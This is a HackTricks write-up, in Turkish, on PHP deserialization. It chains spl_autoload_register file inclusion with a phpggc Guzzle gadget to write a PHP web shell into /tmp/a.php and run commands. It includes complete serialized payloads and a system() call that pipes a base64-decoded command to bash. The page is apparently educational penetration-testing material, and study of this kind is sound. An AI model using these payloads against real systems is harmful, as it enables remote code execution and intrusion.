8 KiB
PHP - Deserialization + Autoload Classes
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Öncelikle, Autoloading Classes nedir kontrol etmelisiniz.
PHP deserialization + spl_autoload_register + LFI/Gadget
Bir web uygulamasında PHP deserialization bulduğumuz bir durumdayız ve phpggc
içinde gadget'lara karşı hiçbir kütüphane zayıf değil. Ancak, aynı konteynerde zayıf kütüphanelere sahip farklı bir composer web uygulaması vardı. Bu nedenle, hedef diğer web uygulamasının composer yükleyicisini yüklemek ve bunu deserialization'a karşı zayıf olan web uygulamasından bir gadget ile o kütüphaneyi istismar etmek için kullanmaktı.
Adımlar:
- Bir deserialization buldunuz ve mevcut uygulama kodunda hiçbir gadget yok
- Aşağıdaki gibi bir
spl_autoload_register
fonksiyonunu kullanarak herhangi bir yerel.php
uzantılı dosyayı yükleyebilirsiniz - Bunun için, sınıf adının
$name
içinde olacağı bir deserialization kullanıyorsunuz. Serileştirilmiş bir nesnede sınıf adında "/" veya "." kullanamazsınız, ancak kod alt çizgileri ("_") eğik çizgilerle ("/") değiştiriyor. Yanitmp_passwd
gibi bir sınıf adı/tmp/passwd.php
'ye dönüştürülecek ve kod bunu yüklemeye çalışacak.
Bir gadget örneği şöyle olacaktır:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Eğer bir dosya yükleme alanınız varsa ve .php
uzantılı bir dosya yükleyebiliyorsanız, bu işlevselliği doğrudan kötüye kullanabilir ve zaten RCE elde edebilirsiniz.
{% endhint %}
Benim durumumda, böyle bir şeyim yoktu, ama aynı konteynerin içinde phpggc
gadget'ına karşı savunmasız bir kütüphane olan başka bir composer web sayfası vardı.
- Bu diğer kütüphaneyi yüklemek için, önce o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekiyor (çünkü mevcut uygulamanın yükleyicisi diğerinin kütüphanelerine erişmeyecek). Uygulamanın yolunu bilerek, bunu çok kolay bir şekilde elde edebilirsiniz:
O:28:"www_frontend_vendor_autoload":0:{}
(Benim durumumda, composer yükleyicisi/www/frontend/vendor/autoload.php
içindeydi) - Şimdi, diğer uygulamanın composer yükleyicisini yükleyebilirsiniz, bu yüzden kullanmak için
phpgcc
payload'unu oluşturma zamanı. Benim durumumda,Guzzle/FW1
kullandım, bu da dosya sisteminin içine herhangi bir dosya yazmamı sağladı. - NOT: Oluşturulan gadget çalışmıyordu, çalışması için o payload'u
chain.php
dosyasında değiştirdim ve sınıfların tüm niteliklerini özelden genel olarak ayarladım. Aksi takdirde, dizilimi çözülmüş dizeden sonra, oluşturulan nesnelerin niteliklerinin hiçbir değeri yoktu. - Artık diğer uygulamanın composer yükleyicisini yükleme yoluna sahibiz ve çalışan bir phpggc payload'u var, ama gadget kullanıldığında yükleyicinin yüklenmesi için BUNU AYNI İSTEĞİN İÇİNDE yapmamız gerekiyor. Bunun için, her iki nesneyle birlikte bir serileştirilmiş dizi gönderdim:
- Önce yükleyicinin yüklendiğini ve ardından payload'unu görebilirsiniz
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Artık bir dosya oluşturup yazabiliriz, ancak kullanıcı web sunucusundaki herhangi bir klasöre yazamaz. Yani, yüklemede görebileceğiniz gibi, PHP
system
çağrısı ile bazı base64 içeriği/tmp/a.php
içinde oluşturulmuştur. Ardından, oluşturulan/tmp/a.php
dosyasını yüklemek için diğer web uygulamasının composer yükleyicisini yüklemek üzere kullandığımız ilk tür yüklemeyi yeniden kullanabiliriz. Bunu deserialization gadget'ına ekleyin:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Yükün Özeti
- Aynı konteynerdeki farklı bir web uygulamasının composer autoload'unu yükle
- Başka bir web uygulamasından bir kütüphaneyi kötüye kullanmak için bir phpggc gadget'ı yükle (deserialization'a karşı savunmasız olan ilk web uygulamasında herhangi bir gadget yoktu)
- Gadget, /tmp/a.php dosyasında kötü niyetli komutlarla birlikte PHP yükü içeren bir dosya oluşturacak (web uygulaması kullanıcısı, herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)
- Yükümüzün son kısmı, oluşturulan php dosyasını yükleyecek ve komutları çalıştıracak
Bu deserialization'ı iki kez çağırmam gerekti. Testlerimde, ilk seferde /tmp/a.php
dosyası oluşturuldu ama yüklenmedi, ikinci seferde ise doğru bir şekilde yüklendi.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.